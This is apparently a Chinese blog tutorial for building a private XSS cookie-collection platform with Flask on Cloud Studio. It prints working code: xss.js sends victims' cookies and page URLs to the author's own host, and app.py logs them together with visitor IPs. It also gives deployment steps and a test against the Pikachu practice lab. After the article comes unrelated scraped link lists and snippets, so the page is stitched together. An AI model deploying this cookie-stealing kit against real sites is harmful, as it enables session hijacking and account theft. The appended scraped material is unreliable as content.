0x00 背景介绍

虽然现在网络上有许多免费的XSS平台,但使用体验往往不是很好,经常在配置时需要等待很长的加载时间,其中的脚本也难以自行修改,同时也存在可能的后台数据泄露等问题。本文意在通过其他技术途径,搭建一个临时的个人专用公网XSS平台。

使用技术及组件:

Cloud Studio:Coding旗下的云端开发环境,支持动态页面托管

python2.7/3.5+flask

js代码参考BlueLotus_XSSReceiver平台代码,可自行扩展

0x01 代码及原理

平台使用了两个代码文件:

xss.js:xss利用脚本,可扩展

app.py:网站主体文件,具体原理非常简单,将xss利用脚本挂载到网站根目录下,使用时将如下poc嵌入到xss漏洞处进行使用。

//如果太长也可以自行生成短链

网站访问后会运行js脚本请求一张指定源的图片,通过该源构造get请求到/rec目录下,此目录挂载的功能为处理参数并写入到text.txt文件中,该文件即保存了我们最终所需要的cookie等数据。

app.py

# -*- coding: utf-8 -*-

from flask import Flask

from flask import render_template

from flask import request

import os

import datetime

APP_ROOT = os.path.dirname(os.path.abspath(__file__))

TXT_PATH = os.path.join(APP_ROOT, 'templates')

app = Flask(__name__)

@app.route('/')

def xss():

return render_template('xss.js')

@app.route('/rec')

def rec():

x=request.args

ip=request.headers.getlist("X-Forwarded-For")[0]

with open(os.path.join(TXT_PATH, 'text.txt'), 'a+') as f:

f.write('--------------------------\n')

print 'ok'

f.write(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')+'\n')

f.write('ip: '+ip+'\n')

f.write('location: '+x['location']+'\n')

f.write('toplocation: '+x['toplocation']+'\n')

f.write('cookie: '+x['cookie']+'\n')

f.write('opener: '+x['opener']+'\n')

return 'ok'

if __name__ == '__main__':

app.run(host='0.0.0.0')

xss.js

var website = "https://(个人域名)/rec";

(function() {

(new Image()).src = website + '?location=' + escape((function() {

try {

return document.location.href

} catch (e) {

return ''

}

})()) + '&toplocation=' + escape((function() {

try {

return top.location.href

} catch (e) {

return ''

}

})()) + '&cookie=' + escape((function() {

try {

return document.cookie

} catch (e) {

return ''

}

})()) + '&opener=' + escape((function() {

try {

return (window.opener && window.opener.location.href) ? window.opener.location.href : ''

} catch (e) {

return ''

}

})());

})();

0x02 具体部署

访问国内托管平台Coding,注册账号并登录,发布网站可能需要实名认证

点击右侧Cloud Studio进入工作空间

初始化

点击新建工作空间,设置工作空间名称XssPlatform,预置环境Ubuntu 18.04,代码来源为空

点击进入,选择Python Demo

进入后会发现存在问题,没事先记录一下这条安装执行命令,该命令具体含义为安装程序所需相关python模块并运行app.py

cat requirements.txt | xargs sudo pip install -i http://pypi.douban.com/simple --trusted-host pypi.douban.com && python app.py

关闭右下角框框,查看提示发现找不到pip命令,我们手动进行安装

apt-get update #更新软件源

apt-get upgrade #更新软件

apt-get install python-pip #安装python-pip组件

安装成功后,重新执行我们记录下来的命令运行程序

运行成功后按下ctrl+shift+p启动命令面板,输入preview,在命令列表中点击Open Preview Tab,点击选择我的第一个python项目即可查看网页预览,记录url以便后续使用

平台配置

ctrl+c结束python进程,打开app.py,复制代码文章给出的代码;

将templates下的index.html重命名为xss.js,复制代码,将个人域名处替换为记录下的网页url

在控制台输入python app.py运行网站,然后在浏览器中输入域名访问,显示为js代码内容即为配置成功

使用测试

使用pickachu开源漏洞靶场进行测试,进入反射型xss(post),登入账号,输入利用poc,点击提交

可以看到Cloud Studio中已经多出了一个文本文件text.txt,内容即为记录的cookie等信息

0x03 注意事项

本文仅仅提供了一个简单的平台模型,更多的还是一种思路的拓展,请勿将其用于非法用途。

另外由于Cloud Studio的相关限制,平台每天最多只能运行4个小时,关闭后就无法访问

怎么搭建xss平台云服务器,零成本搭建个人专属XSS平台相关推荐

  1. 云服务器ecs搭建环境,ECS云服务器linux下搭建开发环境

    买回来的云服务器,当然要装好开发环境 linux下常用的就是LAMP或者LNMP,这里给大家介绍和实际演示LAMP环境的搭建 1.连接ECS服务器 终端输入 ssh root@你的IP地址 回出现ye ...

  2. 怎么搭建xss平台云服务器,最详细搭建xss平台

    hello 大家好 我是Si Lun 今天来教大家搭建xss平台吧 就在刚刚老夫也是刚刚搭建完了,亲测可用, 拿出来跟大家分享下,其实自己没有必要去搭建,外面一堆xss平台,但是如何搭建的,还是要知道 ...

  3. umi脚手架搭建的项目_15天零成本搭建静态博客,托管于Github Page

    博客地址 技术栈概览 前台:Umi(路由) + Antd(视图) + TypeScript(增加项目可维护性以及规范性) 后台:Umi(路由) + Antd(视图) + TypeScript(增加项目 ...

  4. 云服务器 ERP系统搭建,云服务器 ERP系统搭建

    云服务器 ERP系统搭建 内容精选 换一换 用户申请创建弹性云服务器后,可以查看任务的创建状态.本节介绍如何查看弹性云服务器的创建状态.登录管理控制台.单击管理控制台左上角的,选择区域和项目.选择&q ...

  5. 云服务器维护成本,云服务器维护成本

    云服务器维护成本 内容精选 换一换 华为云帮助中心,为用户提供产品简介.价格说明.购买指南.用户指南.API参考.最佳实践.常见问题.视频帮助等技术文档,帮助您快速上手使用华为云服务. 本节操作介绍华 ...

  6. 云服务器架设网站教程_手把手教你搭建腾讯云服务器入门(图文教程)

    本文由博主 威威喵 原创 博客主页:https://blog.csdn.net/smile_running 背景 暑假期间,愁着无聊但也不能荒废学业吧,毕竟以后想靠技术混口饭吃!为了实施自己的计划,特 ...

  7. 手把手教你搭建腾讯云服务器

    手把手教你搭建腾讯云服务器(图文并茂) 威威貓 2019-03-28 08:10:28  58357  收藏 162 分类专栏: 杂七杂八 文章标签: 服务器搭建 腾讯云服务器 云服务器环境配置 新手 ...

  8. 《嘎!RSS》如何零成本搭建一个免费私有化舆情监控系统?

    RSS是一种标准的网站内容投递协议,通过解析RSS我们可以获取网站的内容更新. Github Actions是Github推出的一个免费服务, 可以帮我们跑任何程序,每月2000分钟. zhaoole ...

  9. php搭建云服务器,云服务器上如何搭建php环境

    1) 安装libtool和libtool-ltdl [root@localhost mysql]# yum -y install "libtool*" [root@localhos ...

最新文章

  1. 哈夫曼树的java实现_java实现哈夫曼树
  2. 索尼搞了个大新闻!AI打败人类三冠王,登上Nature封面,这波让任天堂无话可说...
  3. 埃森哲杯第十六届上海大学程序设计联赛春季赛暨上海高校金马五校赛 F- 1 + 2 = 3? (好难的找规律题)
  4. python并发编程2-进程
  5. VBA 打开 Debug窗口 进行调试 (同时可以查看debug操作对应的快捷键)
  6. 页面编程小技巧 —— 大屏图片自适应
  7. 创建一维数组,存储班级中10位同学的年龄信息,并求出班级同学的平均年龄。找出班级中的最小年龄和最大年龄。(冒泡排序)
  8. matlab 四面体,《有限元基础教程》【MATLAB算例】481基于4节点四面体单元的空间块体分析(Tetrahedron3D4Node)...
  9. 数据分析报告2:Superstore销售情况分析
  10. 渗透学习日记day5
  11. ORA-00600 内部错误代码, 参数 [19004]
  12. 生物信息学常用名词解释
  13. 用户名修改后进入不了计算机,我想知道怎么修改后电脑用户名
  14. 手把手带你 arduino 开发:基于ESP32S 的第一个应用-红外测温枪(带引脚图)
  15. idea项目总是自动重启_IDEA 下 SpringBoot 自动重启
  16. 知道创宇区块链安全实验室|二月安全事件总结与回顾
  17. 幂运算、对数和指数学习
  18. flink的Savepoint
  19. 投屏镜像工具玩手机游戏的优势
  20. html5+++map+清除,HTML5+google map自我瞎学习

热门文章

  1. 【BUUCTF】MISC 穿越时空的思念
  2. 各个大学论坛大全,大学校园美女
  3. 手动安装在Microsoft office以及wps中安装mendeley的word插件
  4. 关于打开虚拟机vmware镜像就蓝屏(注:主要针对轻薄本本以及高性能游戏本)
  5. centos8使用grubby修改内核启动参数
  6. “数聚上海 共赢未来” 上海大数据产业高端峰会 Cloudera让大数据实现更多价值...
  7. office中word使用过程中字体排版
  8. 圣基茨适合什么样的人移民
  9. C语言中头文件包含的处理原则
  10. jsp中request对象的用法